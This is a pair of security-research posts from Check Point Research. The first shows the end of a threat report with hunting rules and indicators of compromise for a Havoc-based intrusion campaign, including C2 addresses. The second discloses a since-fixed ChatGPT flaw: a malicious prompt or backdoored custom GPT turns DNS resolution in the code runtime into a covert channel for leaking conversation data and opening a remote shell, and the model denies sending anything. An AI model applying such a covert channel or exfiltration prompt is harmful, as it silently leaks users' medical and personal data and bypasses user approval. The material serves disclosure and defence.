  • Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
  • Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
  • Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
  • Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
  • Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.

Indicators of Compromise

trueconf_windows_update.exe – Malicious TrueConf client update
22e32bcf113326e366ac480b077067cf

iscsiexe.dll – Loader
9b435ad985b733b64a6d5f39080f4ae0

7z-x64.dll – Havoc implant
248a4d7d4c48478dcbeade8f7dba80b3

43.134.90[.]60 – Havoc C2
43.134.52[.]221 – Havoc C2
47.237.15[.]197 – Havoc C2

The post Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets appeared first on Check Point Research.

ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime

30 March 2026 at 15:09

Key Takeaways

  • Sensitive data shared with ChatGPT conversations could be silently exfiltrated without the user’s knowledge or approval.
  • Check Point Research discovered a hidden outbound communication path from ChatGPT’s isolated execution runtime to the public internet.
  • A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content.
  • A backdoored GPT could abuse the same weakness to obtain access to user data without the user’s awareness or consent.
  • The same hidden communication path could also be used to establish remote shell access inside the Linux runtime used for code execution.

What Happened

AI assistants now handle some of the most sensitive data people own. Users discuss symptoms and medical history. They ask questions about taxes, debts, and personal finances, upload PDFs, contracts, lab results, and identity-rich documents that contain names, addresses, account details, and private records. That trust depends on a simple expectation: data shared in the conversation remains inside the system.

ChatGPT itself presents outbound data sharing as something restricted, visible, and controlled. Potentially sensitive data is not supposed to be sent to arbitrary third parties simply because a prompt requests it. External actions are expected to be mediated through explicit safeguards, and direct outbound access from the code-execution environment is restricted.

Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.
Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.

Our research uncovered a path around that model.

We found that a single malicious prompt could activate a hidden exfiltration channel inside a regular ChatGPT conversation.

Video 1 – During a ChatGPT conversation, user content summary is silently transmitted to an external server without warning or approval.

The Intended Safeguards

ChatGPT includes useful tools that can retrieve information from the internet and execute Python code. At the same time, OpenAI has built safeguards around those capabilities to protect user data. For example, the web-search capability does not allow sensitive chat content to be transmitted outward through crafted query strings. The Python-based Data Analysis environment was designed to prevent internet access as well. OpenAI describes that environment as a secure code execution runtime that cannot generate direct outbound network requests.

Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.
Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.

OpenAI also documents that so called GPTs can send relevant parts of a user’s input to external services through APIs. A GPT is a customized version of ChatGPT that can be configured with instructions, knowledge files, and external integrations. GPT “Actions” provide a legitimate way to call third-party APIs and exchange data with outside services. Actions are useful for enterprise workflows, access to internal business systems, customer support operations, and other integrations that connect ChatGPT to external services, including simpler use cases such as travel or weather lookups. The key point is visibility: the user sees that data is about to leave ChatGPT, sees where it is going, and decides whether to allow it.

Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.
Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.

In other words, legitimate outbound data flows are designed to happen through an explicit, user-facing approval process.

From One Message to Silent Exfiltration

From a security perspective, the obvious attack surfaces looked strong. The ability to send chat data through tools not designed for that purpose was strictly limited. Sending data through a legitimate GPT integration using external API calls also required explicit user confirmation.

The vulnerability we discovered allowed information to be transmitted to an external server through a side channel originating from the container used by ChatGPT for code execution and data analysis. Crucially, because the model operated under the assumption that this environment could not send data outward directly, it did not recognize that behavior as an external data transfer requiring resistance or user mediation. As a result, the leakage did not trigger warnings about data leaving the conversation, did not require explicit user confirmation, and remained largely invisible from the user’s perspective.

At a high level, the attack began when the victim sent a single malicious prompt into a ChatGPT conversation. From that moment on, each new message in the chat became a potential source of leakage. The scope of that leakage depended on how the prompt framed the task for the model: it could include raw user text, text extracted from uploaded files, or selected model-generated output such as summaries, medical assessments, conclusions, and other condensed intelligence. This made the attack flexible, because it allowed the attacker to target not only original user data, but also the most valuable information produced by the model itself.

That attack pattern fits naturally into ordinary user behavior. The internet is full of websites, blog posts, forums, and social media threads promoting “top prompts for productivity,” “best prompts for work,” and other ready-made instructions that supposedly improve ChatGPT’s performance. For many users, copying and pasting such prompts into a new conversation is routine and does not appear risky, because the prevailing expectation is that AI assistants will not silently leak conversation data to external parties, and that this boundary cannot be changed through an ordinary prompt. A malicious prompt distributed in that format could therefore be presented as a harmless productivity aid and interpreted as just another useful trick for getting better results from the assistant.

A broader campaign could use an even more convincing lure: prompts advertised as a way to unlock premium capabilities for free. Claims about enabling Pro-level behavior, hidden modes, or advanced features on a lower-tier account would give the attacker a natural pretext for including unusual instructions, long text blocks, or opaque fragments that might otherwise seem suspicious. Because the user already expects a nonstandard sequence, those elements can easily be perceived as part of the promised “hack.” A carefully crafted prompt could then create the appearance of enhanced functionality while quietly turning the conversation into a source of exfiltrated data.

Figure 4 – Social engineering example: a malicious prompt disguised as a trick to unlock premium features.

Once the malicious prompt was placed into the chat, the conversation effectively became a covert collection channel. From that point on, summaries of subsequent user messages could be silently transmitted to an attacker-controlled server. As shown in Video 1, this took place without any warning, approval request, or other visible indication of external data transfer.

Malicious GPTs

The same attack pattern becomes even more dangerous when embedded inside a custom GPT.

GPTs allow developers to package instructions, knowledge files, and external integrations into a reusable assistant that other users can interact with. From the user’s perspective, the interaction looks like a normal ChatGPT conversation with a specialized tool.

In that scenario, the attacker no longer needs to rely on the victim copying a prompt from an external source. The malicious logic can be embedded directly in the GPT’s instructions and files. A user only needs to open the GPT and begin interacting with it as intended.

This changes the threat model significantly. Officially, GPT builders do not have access to individual user conversations with their GPTs. However, a GPT designed to exploit the vulnerability could still cause selected information from those conversations to be transmitted to an attacker-controlled server. From the user’s perspective, the interaction would remain indistinguishable from an ordinary session with a specialized assistant.

To demonstrate the practical impact of the vulnerability, we built a proof of concept around a sensitive scenario: a GPT acting as a personal doctor.

Video 2 – PoC: a “personal doctor” GPT exfiltrates patient identity and medical assessment.

In the demonstration, the user uploaded a PDF containing laboratory test results. The document also contained personal information, including the patient’s name. The user then described symptoms and asked the GPT to help interpret the results.

From the user’s perspective, the interaction looked completely ordinary. The GPT analyzed the document and produced a medical assessment based on the provided information.

When asked directly whether the uploaded data had been sent anywhere, ChatGPT answered confidently that it had not, explaining that the file was only stored in a secure internal location. At the same time, the user saw no approval prompts or warnings about external data transfer, unlike the confirmation dialogs that normally appear when a GPT Action sends information to a third-party service.

Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.
Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.

Meanwhile, the attacker’s server received highly sensitive data extracted from the conversation: the patient’s identity taken from the uploaded document together with the model’s medical assessment.

This illustrates an important aspect of the attack. The attacker does not necessarily need to steal entire documents. Instead, the prompt could instruct the model to transmit the most valuable information it produces. In the medical scenario, that meant the patient’s identifying details together with the model’s assessment. In other contexts, it could mean financial conclusions, contract summaries, or strategic insights extracted from long documents.

From Data Exfiltration to Remote Shell

The same communication channel could be used for more than silent data exfiltration.

Once a reliable bidirectional channel existed between the execution runtime and the attacker-controlled server, it became possible to send commands into the container and receive the results back through the same path. In effect, the attacker could establish a remote shell inside the Linux environment that ChatGPT creates to perform code execution and data analysis tasks.

Video 3 – PoC: remote shell access inside the ChatGPT runtime through the covert channel.

This interaction happened outside the normal ChatGPT response flow. When users interact with the assistant through the chat interface, generated actions and outputs remain subject to the model’s safety mechanisms and checks. However, commands executed through the side channel bypassed that mediation entirely. The results were returned directly to the attacker’s server without appearing in the conversation or being filtered by the model.

DNS Tunneling in an AI Runtime

The side channel that enabled both data exfiltration and remote command execution relied on DNS resolution.

Normally, DNS is used to resolve domain names into IP addresses. From a security perspective, however, DNS can also function as a data transport channel. Instead of using DNS only for ordinary name resolution, an attacker can encode data into subdomain labels and trigger resolution of those hostnames. Because DNS resolution propagates the requested hostname through the normal recursive lookup process, the resolver chain can carry that encoded data outward.

In our case, this mattered because the ChatGPT execution runtime did not permit conventional outbound internet access, but DNS resolution was still available as part of the environment’s normal operation. Standard attempts to reach external hosts directly were blocked. DNS, however, still provided a narrow communication path that crossed the isolation boundary indirectly through legitimate resolver infrastructure.

To exfiltrate data, content could be encoded into DNS-safe fragments, placed into subdomains, and reconstructed on the attacker’s side from the incoming queries. To send instructions back, the attacker could encode small command fragments into DNS responses and let them travel back through the same resolution path. A process running inside the container could then read those responses, reassemble the payload, and continue the exchange.

Figure 5 – DNS tunneling flow.
Figure 5 – DNS tunneling flow.

This effectively turned DNS infrastructure into a tunnel between the isolated runtime and an attacker-controlled server. The tunnel create in this way is sufficient for two practical goals: silently leaking selected data from the conversation and maintaining command execution inside the Linux environment created for code execution and data analysis.

Conclusion

Check Point Research reported the issue to OpenAI. OpenAI confirmed that it had already identified the underlying problem internally, and the fix was fully deployed on February 20, 2026.

The broader lesson, however, goes beyond this specific case. AI systems are evolving at an extraordinary pace. New capabilities are constantly being introduced, enabling assistants to solve complex mathematical problems, analyze large datasets, generate and execute scripts, and automate multi-step tasks that previously required dedicated development environments. These capabilities bring enormous benefits. At the same time, every new tool expands the system’s attack surface and can introduce new security challenges for both users and platform providers.

Modern AI assistants increasingly operate as real execution environments. They read files, run code, search in the web while processing highly sensitive information such as medical records, financial data, legal documents, and other personal or organizational data. Protecting these environments requires careful control over every possible outbound communication path, including infrastructure layers that users never see.

As AI tools become more powerful and widely used, security must remain a central consideration. These systems offer enormous benefits, but adopting them safely requires careful attention to every layer of the platform.

The post ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime appeared first on Check Point Research.

❌